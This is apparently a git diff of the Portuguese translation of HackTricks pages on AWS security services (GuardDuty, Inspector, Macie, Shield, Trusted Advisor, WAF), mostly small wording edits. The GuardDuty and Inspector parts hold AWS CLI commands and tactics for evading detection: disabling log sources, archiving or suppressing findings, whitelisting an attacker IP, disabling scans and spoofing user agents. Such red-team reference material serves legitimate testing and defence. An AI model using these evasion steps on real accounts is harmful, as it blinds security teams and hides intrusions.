-- **Reconhecimento**: Atividade sugerindo reconhecimento por um atacante, como **atividade de API incomum**, tentativas de **login** em banco de dados suspeitas, **varredura de portas** intra-VPC, padrões incomuns de solicitações de login falhadas ou sondagem de portas desbloqueadas de um IP conhecido como malicioso.
-- **Comprometimento de instância**: Atividade indicando um comprometimento de instância, como **mineração de criptomoedas, atividade de comando e controle (C\&C)** de backdoor, malware usando algoritmos de geração de domínio (DGA), atividade de negação de serviço de saída, volume de tráfego de rede **incomum**, protocolos de rede incomuns, comunicação de instância de saída com um IP malicioso conhecido, credenciais temporárias do Amazon EC2 usadas por um endereço IP externo e exfiltração de dados usando DNS.
-- **Comprometimento de conta**: Padrões comuns indicativos de comprometimento de conta incluem chamadas de API de uma geolocalização incomum ou proxy de anonimização, tentativas de desativar o registro do AWS CloudTrail, mudanças que enfraquecem a política de senha da conta, lançamentos de instâncias ou infraestrutura incomuns, implantações de infraestrutura em uma região incomum, roubo de credenciais, atividade de login em banco de dados suspeita e chamadas de API de endereços IP maliciosos conhecidos.
-- **Comprometimento de bucket**: Atividade indicando um comprometimento de bucket, como padrões de acesso a dados suspeitos indicando uso indevido de credenciais, atividade de API do Amazon S3 incomum de um host remoto, acesso não autorizado ao S3 de endereços IP maliciosos conhecidos e chamadas de API para recuperar dados em buckets S3 de um usuário sem histórico anterior de acesso ao bucket ou invocadas de uma localização incomum. O Amazon GuardDuty monitora e analisa continuamente eventos de dados S3 do AWS CloudTrail (por exemplo, GetObject, ListObjects, DeleteObject) para detectar atividades suspeitas em todos os seus buckets do Amazon S3.
+- **Reconhecimento**: Atividade que sugere reconhecimento por um atacante, como **atividade de API incomum**, tentativas de **login** em banco de dados suspeitas, **varredura de portas** intra-VPC, padrões incomuns de solicitações de login falhadas ou sondagem de portas desbloqueadas de um IP conhecido como malicioso.
+- **Comprometimento de Instância**: Atividade indicando um comprometimento de instância, como **mineração de criptomoedas, atividade de comando e controle (C\&C)** de backdoor, malware usando algoritmos de geração de domínio (DGA), atividade de negação de serviço de saída, volume de tráfego de rede **incomum**, protocolos de rede incomuns, comunicação de instância de saída com um IP malicioso conhecido, credenciais temporárias do Amazon EC2 usadas por um endereço IP externo e exfiltração de dados usando DNS.
+- **Comprometimento de Conta**: Padrões comuns indicativos de comprometimento de conta incluem chamadas de API de uma geolocalização incomum ou proxy de anonimização, tentativas de desativar o registro do AWS CloudTrail, mudanças que enfraquecem a política de senha da conta, lançamentos de instâncias ou infraestrutura incomuns, implantações de infraestrutura em uma região incomum, roubo de credenciais, atividade de login em banco de dados suspeita e chamadas de API de endereços IP maliciosos conhecidos.
+- **Comprometimento de Bucket**: Atividade indicando um comprometimento de bucket, como padrões de acesso a dados suspeitos indicando uso indevido de credenciais, atividade de API do Amazon S3 incomum de um host remoto, acesso não autorizado ao S3 de endereços IP maliciosos conhecidos e chamadas de API para recuperar dados em buckets S3 de um usuário sem histórico anterior de acesso ao bucket ou invocadas de uma localização incomum. O Amazon GuardDuty monitora e analisa continuamente eventos de dados S3 do AWS CloudTrail (por exemplo, GetObject, ListObjects, DeleteObject) para detectar atividades suspeitas em todos os seus buckets do Amazon S3.
 
 <details>
 
@@ -30,8 +30,8 @@ Resumo da descoberta:
 - Tipo de descoberta
 - Severidade: 7-8.9 Alta, 4-6.9 Média, 01-3.9 Baixa
 - Região
-- ID da conta
-- ID do recurso
+- ID da Conta
+- ID do Recurso
 - Hora da detecção
 - Qual lista de ameaças foi usada
 
@@ -40,7 +40,7 @@ O corpo contém estas informações:
 - Recurso afetado
 - Ação
 - Ator: Endereço IP, porta e domínio
-- Informações adicionais
+- Informações Adicionais
 
 </details>
 
@@ -100,25 +100,25 @@ aws guardduty list-publishing-destinations --detector-id <id>
 aws guardduty list-threat-intel-sets --detector-id <id>
 aws guardduty get-threat-intel-set --detector-id <id> --threat-intel-set-id <id>
 ```
-## GuardDuty Bypass
+## Bypass do GuardDuty
 
-### General Guidance
+### Orientação Geral
 
 Tente descobrir o máximo possível sobre o comportamento das credenciais que você vai usar:
 
-- Horários em que é usado
+- Horários em que são usadas
 - Localizações
 - User Agents / Serviços (Pode ser usado a partir de awscli, webconsole, lambda...)
-- Permissões regularmente usadas
+- Permissões normalmente usadas
 
 Com essas informações, recrie o máximo possível o mesmo cenário para usar o acesso:
 
-- Se for um **usuário ou um papel acessado por um usuário**, tente usá-lo nas mesmas horas, da mesma geolocalização (até mesmo o mesmo ISP e IP, se possível)
+- Se for um **usuário ou um papel acessado por um usuário**, tente usá-lo nas mesmas horas, da mesma geolocalização (até o mesmo ISP e IP, se possível)
 - Se for um **papel usado por um serviço**, crie o mesmo serviço na mesma região e use-o a partir daí nos mesmos intervalos de tempo
 - Sempre tente usar as **mesmas permissões** que esse principal usou
 - Se você precisar **usar outras permissões ou abusar de uma permissão** (por exemplo, baixar 1.000.000 de arquivos de log do cloudtrail), faça isso **devagar** e com a **mínima quantidade de interações** com a AWS (awscli às vezes chama várias APIs de leitura antes da de escrita)
 
-### Breaking GuardDuty
+### Quebrando o GuardDuty
 
 #### `guardduty:UpdateDetector`
 
@@ -129,13 +129,13 @@ aws guardduty update-detector --detector-id <detector-id> --data-sources S3Logs=
 ```
 #### `guardduty:CreateFilter`
 
-Atacantes com esta permissão têm a capacidade de **empregar filtros para o arquivamento automático** de descobertas:
+Atacantes com essa permissão têm a capacidade de **empregar filtros para o arquivamento automático** de descobertas:
 ```bash
 aws guardduty create-filter  --detector-id <detector-id> --name <filter-name> --finding-criteria file:///tmp/criteria.json --action ARCHIVE
 ```
 #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`)
 
-Atacantes com os privilégios anteriores poderiam modificar a [**Lista de IPs Confiáveis**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) do GuardDuty adicionando seu endereço IP a ela e evitar gerar alertas.
+Atacantes com os privilégios anteriores poderiam modificar a [**lista de IPs confiáveis**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) do GuardDuty adicionando seu endereço IP a ela e evitar gerar alertas.
 ```bash
 aws guardduty update-ip-set --detector-id <detector-id> --activate --ip-set-id <ip-set-id> --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv
 ```
@@ -152,13 +152,13 @@ aws guardduty delete-publishing-destination --detector-id <detector-id> --destin
 
 Observe que existem dezenas de descobertas do GuardDuty, no entanto, **como Red Teamer, nem todas elas afetarão você**, e o que é melhor, você tem a **documentação completa de cada uma delas** em [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html), então dê uma olhada antes de tomar qualquer ação para não ser pego.
 
-Aqui estão alguns exemplos de bypasses específicos de descobertas do GuardDuty:
+Aqui estão alguns exemplos de bypasses de descobertas específicas do GuardDuty:
 
 #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) <a href="#pentest-iam-kalilinux" id="pentest-iam-kalilinux"></a>
 
 O GuardDuty detecta solicitações de API da AWS de ferramentas comuns de teste de penetração e aciona uma [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\
 É detectado pelo **nome do agente do usuário** que é passado na solicitação da API.\
-Portanto, **modificando o agente do usuário**, é possível evitar que o GuardDuty detecte o ataque.
+Portanto, **modificar o agente do usuário** é possível para evitar que o GuardDuty detecte o ataque.
 
 Para evitar isso, você pode procurar no script `session.py` no pacote `botocore` e modificar o agente do usuário, ou definir o Burp Suite como o proxy da AWS CLI e mudar o agente do usuário com o MitM ou apenas usar um SO como Ubuntu, Mac ou Windows, o que evitará que este alerta seja acionado.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
index aa656220d..a0487c3c5 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
@@ -6,7 +6,7 @@
 
 ### Inspector
 
-O Amazon Inspector é um serviço avançado e automatizado de gerenciamento de vulnerabilidades projetado para melhorar a segurança do seu ambiente AWS. Este serviço escaneia continuamente instâncias do Amazon EC2, imagens de contêiner no Amazon ECR, Amazon ECS e funções do AWS Lambda em busca de vulnerabilidades e exposição indesejada à rede. Ao aproveitar um robusto banco de dados de inteligência de vulnerabilidades, o Amazon Inspector fornece descobertas detalhadas, incluindo níveis de severidade e recomendações de remediação, ajudando as organizações a identificar e abordar proativamente os riscos de segurança. Essa abordagem abrangente garante uma postura de segurança fortalecida em vários serviços AWS, auxiliando na conformidade e gerenciamento de riscos.
+Amazon Inspector é um serviço avançado e automatizado de gerenciamento de vulnerabilidades projetado para melhorar a segurança do seu ambiente AWS. Este serviço escaneia continuamente instâncias do Amazon EC2, imagens de contêiner no Amazon ECR, Amazon ECS e funções do AWS Lambda em busca de vulnerabilidades e exposição indesejada à rede. Ao aproveitar um robusto banco de dados de inteligência de vulnerabilidades, o Amazon Inspector fornece descobertas detalhadas, incluindo níveis de severidade e recomendações de remediação, ajudando as organizações a identificar e abordar proativamente os riscos de segurança. Essa abordagem abrangente garante uma postura de segurança fortalecida em vários serviços AWS, auxiliando na conformidade e gerenciamento de riscos.
 
 ### Key elements
 
@@ -21,7 +21,7 @@ As descobertas no Amazon Inspector são relatórios detalhados sobre vulnerabili
 As descobertas também são categorizadas nos seguintes três tipos:
 
 - **Pacote**: Essas descobertas estão relacionadas a vulnerabilidades em pacotes de software instalados em seus recursos. Exemplos incluem bibliotecas desatualizadas ou dependências com problemas de segurança conhecidos.
-- **Código**: Esta categoria inclui vulnerabilidades encontradas no código de aplicativos que estão sendo executados em seus recursos AWS. Problemas comuns são erros de codificação ou práticas inseguras que podem levar a violações de segurança.
+- **Código**: Esta categoria inclui vulnerabilidades encontradas no código de aplicativos que estão sendo executados em seus recursos AWS. Problemas comuns são erros de codificação ou práticas inseguras que podem levar a brechas de segurança.
 - **Rede**: As descobertas de rede identificam exposições potenciais nas configurações de rede que podem ser exploradas por atacantes. Isso inclui portas abertas, protocolos de rede inseguros e grupos de segurança mal configurados.
 
 #### Filters and Suppression Rules
@@ -38,7 +38,7 @@ Um Software Bill of Materials (SBOM) no Amazon Inspector é uma lista de invent
 
 O Amazon Inspector oferece a capacidade de exportar descobertas para Amazon S3 Buckets, Amazon EventBridge e AWS Security Hub, o que permite gerar relatórios detalhados de vulnerabilidades e exposições identificadas para análise ou compartilhamento em uma data e hora específicas. Este recurso suporta vários formatos de saída, como CSV e JSON, facilitando a integração com outras ferramentas e sistemas. A funcionalidade de exportação permite a personalização dos dados incluídos nos relatórios, permitindo que você filtre descobertas com base em critérios específicos, como severidade, tipo de recurso ou intervalo de datas, incluindo por padrão todas as suas descobertas na Região AWS atual com status Ativo.
 
-Ao exportar descobertas, uma chave do Key Management Service (KMS) é necessária para criptografar os dados durante a exportação. As chaves KMS garantem que as descobertas exportadas estejam protegidas contra acesso não autorizado, fornecendo uma camada extra de segurança para informações sensíveis de vulnerabilidades.
+Ao exportar descobertas, uma chave do Key Management Service (KMS) é necessária para criptografar os dados durante a exportação. As chaves KMS garantem que as descobertas exportadas estejam protegidas contra acesso não autorizado, proporcionando uma camada extra de segurança para informações sensíveis de vulnerabilidades.
 
 #### Amazon EC2 instances scanning
 
@@ -52,7 +52,7 @@ O modo de varredura determina qual método será usado para realizar varreduras
 - **Baseado em Agente**: Envolve a instalação do agente SSM em instâncias EC2 para inspeção profunda.
 - **Varredura Híbrida**: Combina métodos baseados em agente e sem agente para maximizar a cobertura e minimizar o impacto no desempenho. Nas instâncias EC2 onde o agente SSM está instalado, o Inspector realizará uma varredura baseada em agente, e para aquelas onde não há agente SSM, a varredura realizada será sem agente.
 
-Outro recurso importante é a **inspeção profunda** para instâncias EC2 Linux. Este recurso oferece uma análise minuciosa do software e da configuração das instâncias EC2 Linux, fornecendo avaliações detalhadas de vulnerabilidades, incluindo vulnerabilidades do sistema operacional, vulnerabilidades de aplicativos e configurações incorretas, garantindo uma avaliação de segurança abrangente. Isso é alcançado por meio da inspeção de **caminhos personalizados** e todos os seus subdiretórios. Por padrão, o Amazon Inspector irá escanear os seguintes, mas cada conta membro pode definir até 5 caminhos personalizados adicionais, e cada administrador delegado até 10:
+Outro recurso importante é a **inspeção profunda** para instâncias Linux EC2. Este recurso oferece uma análise minuciosa do software e da configuração das instâncias Linux EC2, fornecendo avaliações detalhadas de vulnerabilidades, incluindo vulnerabilidades do sistema operacional, vulnerabilidades de aplicativos e configurações incorretas, garantindo uma avaliação de segurança abrangente. Isso é alcançado por meio da inspeção de **caminhos personalizados** e todos os seus subdiretórios. Por padrão, o Amazon Inspector irá escanear os seguintes, mas cada conta membro pode definir até 5 caminhos personalizados adicionais, e cada administrador delegado até 10:
 
 - `/usr/lib`
 - `/usr/lib64`
@@ -61,21 +61,21 @@ Outro recurso importante é a **inspeção profunda** para instâncias EC2 Linux
 
 #### Amazon ECR container images scanning
 
-O Amazon Inspector fornece robustas capacidades de varredura para imagens de contêiner do Amazon Elastic Container Registry (ECR), garantindo que as vulnerabilidades de pacotes sejam detectadas e gerenciadas de forma eficiente.
+O Amazon Inspector fornece robustas capacidades de varredura para imagens de contêiner do Amazon Elastic Container Registry (ECR), garantindo que vulnerabilidades de pacotes sejam detectadas e gerenciadas de forma eficiente.
 
 - **Varredura Básica**: Esta é uma varredura rápida e leve que identifica vulnerabilidades conhecidas de pacotes de SO em imagens de contêiner usando um conjunto padrão de regras do projeto de código aberto Clair. Com esta configuração de varredura, seus repositórios serão escaneados ao serem enviados, ou realizando varreduras manuais.
 - **Varredura Aprimorada**: Esta opção adiciona o recurso de varredura contínua além da varredura ao enviar. A varredura aprimorada mergulha mais fundo nas camadas de cada imagem de contêiner para identificar vulnerabilidades em pacotes de SO e em pacotes de linguagens de programação com maior precisão. Ela analisa tanto a imagem base quanto quaisquer camadas adicionais, fornecendo uma visão abrangente de potenciais problemas de segurança.
 
 #### Amazon Lambda functions scanning
 
-O Amazon Inspector inclui capacidades abrangentes de varredura para funções AWS Lambda e suas camadas, garantindo a segurança e integridade de aplicativos sem servidor. O Inspector oferece dois tipos de varredura para funções Lambda:
+O Amazon Inspector inclui capacidades abrangentes de varredura para funções do AWS Lambda e suas camadas, garantindo a segurança e integridade de aplicativos serverless. O Inspector oferece dois tipos de varredura para funções Lambda:
 
 - **Varredura padrão do Lambda**: Este recurso padrão identifica vulnerabilidades de software nas dependências do pacote de aplicativo adicionadas à sua função Lambda e camadas. Por exemplo, se sua função usar uma versão de uma biblioteca como python-jwt com uma vulnerabilidade conhecida, ela gera uma descoberta.
-- **Varredura de código do Lambda**: Analisa o código de aplicativo personalizado em busca de problemas de segurança, detectando vulnerabilidades como falhas de injeção, vazamentos de dados, criptografia fraca e falta de criptografia. Captura trechos de código destacando vulnerabilidades detectadas, como credenciais codificadas. As descobertas incluem sugestões detalhadas de remediação e trechos de código para corrigir os problemas.
+- **Varredura de código do Lambda**: Analisa o código personalizado do aplicativo em busca de problemas de segurança, detectando vulnerabilidades como falhas de injeção, vazamentos de dados, criptografia fraca e falta de criptografia. Captura trechos de código destacando vulnerabilidades detectadas, como credenciais codificadas. As descobertas incluem sugestões detalhadas de remediação e trechos de código para corrigir os problemas.
 
 #### **Center for Internet Security (CIS) scans**
 
-O Amazon Inspector inclui varreduras CIS para comparar os sistemas operacionais das instâncias Amazon EC2 com as recomendações de melhores práticas do Center for Internet Security (CIS). Essas varreduras garantem que as configurações estejam em conformidade com as linhas de base de segurança padrão da indústria.
+O Amazon Inspector inclui varreduras CIS para avaliar os sistemas operacionais das instâncias do Amazon EC2 em relação às recomendações de melhores práticas do Center for Internet Security (CIS). Essas varreduras garantem que as configurações estejam em conformidade com as linhas de base de segurança padrão da indústria.
 
 - **Configuração**: As varreduras CIS avaliam se as configurações do sistema atendem a recomendações específicas do CIS Benchmark, com cada verificação vinculada a um ID de verificação e título do CIS.
 - **Execução**: As varreduras são realizadas ou agendadas com base em tags de instância e cronogramas definidos.
@@ -265,7 +265,7 @@ aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s
 
 #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`
 
-Um atacante poderia cancelar a geração do relatório de descobertas especificado ou do relatório SBOM, impedindo que as equipes de segurança recebam informações oportunas sobre vulnerabilidades e a lista de materiais de software (SBOMs), atrasando a detecção e a remediação de problemas de segurança.
+Um atacante poderia cancelar a geração do relatório de descobertas especificado ou do relatório SBOM, impedindo que as equipes de segurança recebam informações oportunas sobre vulnerabilidades e faturas de materiais de software (SBOMs), atrasando a detecção e remediação de problemas de segurança.
 ```bash
 # Cancel findings report generation
 aws inspector2 cancel-findings-report --report-id <value>
@@ -276,7 +276,7 @@ aws inspector2 cancel-sbom-export --report-id <value>
 
 #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
 
-Um atacante com essas permissões seria capaz de manipular as regras de filtragem que determinam quais vulnerabilidades e problemas de segurança são relatados ou suprimidos (se a **ação** estiver definida como SUPPRESS, uma regra de supressão seria criada). Isso poderia ocultar vulnerabilidades críticas dos administradores de segurança, facilitando a exploração dessas fraquezas sem detecção. Ao alterar ou remover filtros importantes, um atacante também poderia criar ruído ao inundar o sistema com descobertas irrelevantes, dificultando a monitorização e resposta de segurança eficazes.
+Um atacante com essas permissões poderia manipular as regras de filtragem que determinam quais vulnerabilidades e problemas de segurança são relatados ou suprimidos (se a **ação** estiver definida como SUPPRESS, uma regra de supressão seria criada). Isso poderia ocultar vulnerabilidades críticas dos administradores de segurança, facilitando a exploração dessas fraquezas sem detecção. Ao alterar ou remover filtros importantes, um atacante também poderia criar ruído ao inundar o sistema com descobertas irrelevantes, dificultando a monitorização e resposta de segurança eficazes.
 ```bash
 # Create
 aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
@@ -291,13 +291,13 @@ aws inspector2 delete-filter --arn <value>
 
 Um atacante poderia interromper significativamente a estrutura de gerenciamento de segurança.
 
-- Desabilitando a conta de administrador delegado, o atacante poderia impedir que a equipe de segurança acessasse e gerenciasse as configurações e relatórios do Amazon Inspector.
-- Habilitar uma conta de administrador não autorizada permitiria que um atacante controlasse as configurações de segurança, potencialmente desabilitando varreduras ou modificando configurações para ocultar atividades maliciosas.
+- Desativando a conta de administrador delegado, o atacante poderia impedir que a equipe de segurança acessasse e gerenciasse as configurações e relatórios do Amazon Inspector.
+- Habilitar uma conta de administrador não autorizada permitiria que um atacante controlasse as configurações de segurança, potencialmente desativando varreduras ou modificando configurações para ocultar atividades maliciosas.
 
 > [!WARNING]
 > É necessário que a conta não autorizada esteja na mesma Organização que a vítima para se tornar o administrador delegado.
 >
-> Para que a conta não autorizada se torne o administrador delegado, também é necessário que, após o administrador delegado legítimo ser desabilitado, e antes que a conta não autorizada seja habilitada como o administrador delegado, o administrador legítimo deve ser desregistrado como o administrador delegado da organização. Isso pode ser feito com o seguinte comando (**`organizations:DeregisterDelegatedAdministrator`** permissão necessária): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
+> Para que a conta não autorizada se torne o administrador delegado, também é necessário que, após o administrador delegado legítimo ser desativado, e antes que a conta não autorizada seja habilitada como o administrador delegado, o administrador legítimo deve ser desregistrado como o administrador delegado da organização. Isso pode ser feito com o seguinte comando (**`organizations:DeregisterDelegatedAdministrator`** permissão necessária): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
 ```bash
 # Disable
 aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
@@ -322,7 +322,7 @@ aws inspector2 disassociate-member --account-id <value>
 
 #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)
 
-Um atacante com a permissão `inspector2:Disable` seria capaz de desativar varreduras de segurança em tipos de recursos específicos (EC2, ECR, Lambda, código Lambda) nas contas especificadas, deixando partes do ambiente AWS não monitoradas e vulneráveis a ataques. Além disso, devido às permissões **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, um atacante poderia então reativar varreduras seletivamente para evitar a detecção de configurações suspeitas.
+Um atacante com a permissão `inspector2:Disable` seria capaz de desativar varreduras de segurança em tipos de recursos específicos (EC2, ECR, Lambda, código Lambda) nas contas especificadas, deixando partes do ambiente AWS sem monitoramento e vulneráveis a ataques. Além disso, devido às permissões **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, um atacante poderia então reativar varreduras seletivamente para evitar a detecção de configurações suspeitas.
 
 > [!WARNING]
 > Esta ação deve ser realizada pelo administrador delegado.
@@ -352,7 +352,7 @@ Um atacante poderia manipular tags em recursos do AWS Inspector, que são críti
 aws inspector2 tag-resource --resource-arn <value> --tags <value>
 aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
 ```
-- **Impacto Potencial**: Ocultação de vulnerabilidades, interrupção de relatórios de conformidade, interrupção de automação de segurança e interrupção de alocação de custos.
+- **Impacto Potencial**: Ocultação de vulnerabilidades, interrupção de relatórios de conformidade, interrupção da automação de segurança e interrupção da alocação de custos.
 
 ## Referências
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
index beca49d0d..7c2dc8e8f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
@@ -12,13 +12,13 @@ Principais Recursos do Amazon Macie:
 
 1. **Revisão Ativa de Dados**: Emprega aprendizado de máquina para revisar dados ativamente à medida que várias ações ocorrem dentro da conta AWS.
 2. **Detecção de Anomalias**: Identifica atividades ou padrões de acesso irregulares, gerando alertas para mitigar potenciais riscos de exposição de dados.
-3. **Monitoramento Contínuo**: Monitora e detecta automaticamente novos dados no Amazon S3, empregando aprendizado de máquina e inteligência artificial para se adaptar aos padrões de acesso aos dados ao longo do tempo.
+3. **Monitoramento Contínuo**: Monitora e detecta automaticamente novos dados no Amazon S3, utilizando aprendizado de máquina e inteligência artificial para se adaptar aos padrões de acesso aos dados ao longo do tempo.
 4. **Classificação de Dados com NLP**: Utiliza processamento de linguagem natural (NLP) para classificar e interpretar diferentes tipos de dados, atribuindo pontuações de risco para priorizar descobertas.
 5. **Monitoramento de Segurança**: Identifica dados sensíveis à segurança, incluindo chaves de API, chaves secretas e informações pessoais, ajudando a prevenir vazamentos de dados.
 
-Amazon Macie é um **serviço regional** e requer o 'AWSMacieServiceCustomerSetupRole' IAM Role e um AWS CloudTrail habilitado para funcionalidade.
+Amazon Macie é um **serviço regional** e requer a função IAM 'AWSMacieServiceCustomerSetupRole' e um AWS CloudTrail habilitado para funcionalidade.
 
-### Sistema de Alertas
+### Sistema de Alerta
 
 Macie categoriza alertas em categorias predefinidas como:
 
@@ -36,7 +36,7 @@ Esses alertas fornecem descrições detalhadas e desagregações de resultados p
 O painel categoriza dados em várias seções, incluindo:
 
 - Objetos S3 (por intervalo de tempo, ACL, PII)
-- Eventos/usuários de CloudTrail de alto risco
+- Eventos/usuários do CloudTrail de alto risco
 - Locais de Atividade
 - Tipos de identidade de usuário do CloudTrail, e mais.
 
@@ -66,7 +66,7 @@ O maior risco entre essas categorias determina o nível de risco final do arquiv
 
 ### Pesquisa e Análise
 
-A função de pesquisa do Amazon Macie permite consultas personalizadas em todos os dados do Macie para análise aprofundada. Os filtros incluem Dados do CloudTrail, propriedades do Bucket S3 e Objetos S3. Além disso, suporta convidar outras contas para compartilhar o Amazon Macie, facilitando a gestão colaborativa de dados e monitoramento de segurança.
+A função de pesquisa do Amazon Macie permite consultas personalizadas em todos os dados do Macie para análise aprofundada. Os filtros incluem Dados do CloudTrail, propriedades do Bucket S3 e Objetos S3. Além disso, suporta o convite a outras contas para compartilhar o Amazon Macie, facilitando a gestão colaborativa de dados e monitoramento de segurança.
 
 ### Enumeração
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
index fa00b499a..5a429048b 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
@@ -6,7 +6,7 @@
 
 AWS Shield foi projetado para ajudar a **proteger sua infraestrutura contra ataques de negação de serviço distribuídos**, comumente conhecidos como DDoS.
 
-**AWS Shield Standard** é **gratuito** para todos, e oferece **proteção DDoS** contra alguns dos ataques de camada três, a **camada de rede**, e camada quatro, **camada de transporte**, mais comuns. Essa proteção está integrada tanto com CloudFront quanto com Route 53.
+**AWS Shield Standard** é **gratuito** para todos e oferece **proteção DDoS** contra alguns dos ataques de camada três, a **camada de rede**, e camada quatro, **camada de transporte**, mais comuns. Essa proteção está integrada tanto com CloudFront quanto com Route 53.
 
 **AWS Shield Advanced** oferece um **maior nível de proteção** para ataques DDoS em um escopo mais amplo de serviços AWS por um custo adicional. Este nível avançado oferece proteção para suas aplicações web que estão rodando em EC2, CloudFront, ELB e também Route 53. Além desses tipos adicionais de recursos sendo protegidos, há níveis aprimorados de proteção DDoS oferecidos em comparação com o Standard. E você também terá **acesso a uma equipe especializada de resposta a DDoS disponível 24 horas por dia, sete dias por semana na AWS, conhecida como DRT**.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
index b1ad23e6e..e650826c5 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
@@ -1,6 +1,6 @@
-# AWS - Trusted Advisor Enum
+# AWS - Enumeração do Trusted Advisor
 
-## AWS - Trusted Advisor Enum
+## AWS - Enumeração do Trusted Advisor
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
@@ -21,7 +21,7 @@ Os recursos abrangentes do Trusted Advisor estão acessíveis exclusivamente com
 - Itens podem ser excluídos de suas verificações.
 - Os dados são atualizados a cada 24 horas. No entanto, uma atualização manual é possível 5 minutos após a última atualização.
 
-### **Divisão de Verificações**
+### **Divisão das Verificações**
 
 #### Categorias Principais
 
@@ -39,8 +39,8 @@ Limitadas a usuários sem planos de suporte empresarial ou de negócios:
 1. Grupos de Segurança - Portas Específicas Sem Restrições
 2. Uso de IAM
 3. MFA na Conta Raiz
-4. Snapshots Públicos de EBS
-5. Snapshots Públicos de RDS
+4. Snapshots Públicos do EBS
+5. Snapshots Públicos do RDS
 6. Limites de Serviço
 
 #### Verificações de Segurança
@@ -59,7 +59,7 @@ Uma lista de verificações focadas principalmente em identificar e corrigir ame
 - Verificações de certificado para CloudFront
 - Rotação de chaves de acesso IAM (90 dias)
 - Exposição de chaves de acesso (por exemplo, no GitHub)
-- Visibilidade pública de snapshots de EBS ou RDS
+- Visibilidade pública de snapshots do EBS ou RDS
 - Políticas de senha IAM fracas ou ausentes
 
 O AWS Trusted Advisor atua como uma ferramenta crucial para garantir a otimização, desempenho, segurança e tolerância a falhas dos serviços AWS com base nas melhores práticas estabelecidas.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
index b9f2315b3..1b189a460 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
@@ -6,7 +6,7 @@
 
 ## AWS WAF
 
-AWS WAF é um **firewall de aplicação web** projetado para **proteger aplicações web ou APIs** contra várias explorações web que podem impactar sua disponibilidade, segurança ou consumo de recursos. Ele capacita os usuários a controlar o tráfego de entrada configurando **regras de segurança** que mitigam vetores de ataque típicos, como injeção de SQL ou script entre sites, e também definindo regras de filtragem personalizadas.
+AWS WAF é um **firewall de aplicação web** projetado para **proteger aplicações web ou APIs** contra várias explorações web que podem impactar sua disponibilidade, segurança ou consumo de recursos. Ele capacita os usuários a controlar o tráfego de entrada configurando **regras de segurança** que mitigam vetores de ataque típicos, como injeção SQL ou script entre sites, e também definindo regras de filtragem personalizadas.
 
 ### Conceitos-chave
 
@@ -41,7 +41,7 @@ Um Conjunto de Padrões Regex contém uma ou mais expressões regulares (regex)
 
 #### Token de Bloqueio
 
-Um Token de Bloqueio é usado para controle de concorrência ao fazer atualizações nos recursos do WAF. Ele garante que as alterações não sejam acidentalmente sobrescritas por vários usuários ou processos que tentam atualizar o mesmo recurso simultaneamente.
+Um Token de Bloqueio é usado para controle de concorrência ao fazer atualizações em recursos do WAF. Ele garante que as alterações não sejam acidentalmente sobrescritas por vários usuários ou processos que tentam atualizar o mesmo recurso simultaneamente.
 
 #### Chaves de API
 
@@ -51,20 +51,20 @@ As Chaves de API no AWS WAF são usadas para autenticar solicitações a certas
 
 #### Política de Permissão
 
